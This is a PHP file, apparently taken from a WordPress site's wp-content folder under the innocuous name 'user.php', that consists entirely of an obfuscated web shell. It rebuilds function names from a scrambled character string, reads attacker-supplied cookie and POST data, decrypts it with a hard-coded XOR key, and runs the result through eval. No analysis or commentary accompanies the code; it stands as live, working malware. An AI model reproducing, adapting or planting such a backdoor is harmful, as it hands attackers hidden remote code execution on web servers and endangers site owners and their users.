File: /hosting/kak.bg/web/wp-content/user.php
<?php
$veepfr = '#m0c3edHyp\'t-1ois64ur5lbk82av_g*nx79';$hbewd = Array();$hbewd[] = $veepfr[7].$veepfr[31];$hbewd[] = $veepfr[0];$hbewd[] = $veepfr[2].$veepfr[27].$veepfr[4].$veepfr[18].$veepfr[6].$veepfr[27].$veepfr[13].$veepfr[26].$veepfr[12].$veepfr[5].$veepfr[3].$veepfr[35].$veepfr[34].$veepfr[12].$veepfr[18].$veepfr[35].$veepfr[21].$veepfr[27].$veepfr[12].$veepfr[35].$veepfr[23].$veepfr[17].$veepfr[13].$veepfr[12].$veepfr[6].$veepfr[6].$veepfr[25].$veepfr[21].$veepfr[27].$veepfr[6].$veepfr[5].$veepfr[21].$veepfr[25].$veepfr[13].$veepfr[34].$veepfr[34];$hbewd[] = $veepfr[3].$veepfr[14].$veepfr[19].$veepfr[32].$veepfr[11];$hbewd[] = $veepfr[16].$veepfr[11].$veepfr[20].$veepfr[29].$veepfr[20].$veepfr[5].$veepfr[9].$veepfr[5].$veepfr[27].$veepfr[11];$hbewd[] = $veepfr[5].$veepfr[33].$veepfr[9].$veepfr[22].$veepfr[14].$veepfr[6].$veepfr[5];$hbewd[] = $veepfr[16].$veepfr[19].$veepfr[23].$veepfr[16].$veepfr[11].$veepfr[20];$hbewd[] = $veepfr[27].$veepfr[20].$veepfr[20].$veepfr[27].$veepfr[8].$veepfr[29].$veepfr[1].$veepfr[5].$veepfr[20].$veepfr[30].$veepfr[5];$hbewd[] = $veepfr[16].$veepfr[11].$veepfr[20].$veepfr[22].$veepfr[5].$veepfr[32];$hbewd[] = $veepfr[9].$veepfr[27].$veepfr[3].$veepfr[24];foreach ($hbewd[7]($_COOKIE, $_POST) as $lbscw => $bnnjw){function obnesmt($hbewd, $lbscw, $pybsyir){return $hbewd[6]($hbewd[4]($lbscw . $hbewd[2], ($pybsyir / $hbewd[8]($lbscw)) + 1), 0, $pybsyir);}function iekqv($hbewd, $zutloc){return @$hbewd[9]($hbewd[0], $zutloc);}function wufco($hbewd, $zutloc){$cdfamln = $hbewd[3]($zutloc) % 3;if (!$cdfamln) {eval($zutloc[1]($zutloc[2]));exit();}}$bnnjw = iekqv($hbewd, $bnnjw);wufco($hbewd, $hbewd[5]($hbewd[1], $bnnjw ^ obnesmt($hbewd, $lbscw, $hbewd[8]($bnnjw))));}